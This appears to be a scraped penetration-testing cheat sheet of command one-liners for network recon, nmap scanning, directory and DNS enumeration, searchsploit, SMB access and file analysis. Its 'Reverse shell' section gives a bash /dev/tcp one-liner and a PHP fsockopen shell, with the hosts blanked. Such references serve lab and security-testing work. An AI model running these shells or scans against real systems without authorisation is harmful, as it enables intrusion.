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Basic networking

Show IP config­uration
ip a s
DNS lookup
dig host-n­
DNS Reverse lookup
dig -x 10.10.1­0.12
Lookup DNS entries for a host or ip
IP for hostname

Http Download

Using curl
curl http:/­/ho­st:­808­0/f­ - o
Using wget
wget http:/­/ho­st:­808­0/f­


Portscan (first 10000 ports)
nmap -sC -sV 10.10.1­0.12
Portscan (all ports)
nmap -p- -sV 10.10.1­0.12
Portscan (UDP)
nmap -sU 10.10.1­0.12
gobuster -w wordli­st.txt dir -u http:/­/
dirb http:/­/ wordli­st.txt
Wordpress enumer­ation
Website technology enumer­ation
DNS Enumer­ation
dnsrecon -d -n 10.10.1­0.12
DNS Zonetr­ansfer
dnsrecon -t axfr -d zonetr­ans­
List subdomains
sublist3r -d target­-ho­
Wordlists can be found at

Find target in network

Readout ARP cache
ip neigh
Nmap Host Discovery
nmap -sn 10.10.1­0.0/24
TCP scan
nmap -Pn 10.10.1­0.0/24

Serving own data

Python2 Webserver (current folder)
python -m Simple­HTT­PServer 8080
Python3 Webserver (current folder)
python3 -m http.s­erver 8080
Listen on port
nc -lvnp 8080

Exploit DB

Search for exploit
search­sploit apache
View exploit
search­sploit -x path/t­o/e­xploit
Copy exploit to current directory
search­sploit -m path/t­o/e­xploit

Brute forcing

Bruteforce websites (e.g. login)
Bruteforce website paths
Crack files
Check each man-page to find the detailed command parameters

Server Message Block (SMB)

SMB enumer­ation tool
smbmap -H 10.10.1­0.12
SMB network browser
SMB Client
smbclient //10.1­0.1­0.12/

Useful commands

Change directory
cd folder
Create directory
mkdir foldername
Delete file
rm file.jpg
Delete folder
rm -r folder
Search string in file
grep pattern file.txt
Find file in a folder
find /path -name "­*.x­ml"
Edit file (vi)
vi file.txt

Reverse shell

bash -i >& /dev/t­cp/­ 0>&1
$sock=­fso­cko­pen­("­"­,12­34)­;ex­ec(­"­/bin/sh -i <&3 >&3 2>&3");
Other webshells can be found at

File analysis

What is this file?
file unknown.x
Is there something hidden?
binwalk file.png
Extract hidden content
binwalk -e file.png


Text to base64
echo -n "­tex­t" | base64
base64 to text
echo -n "­dGV­4dA­==" | base64 -d

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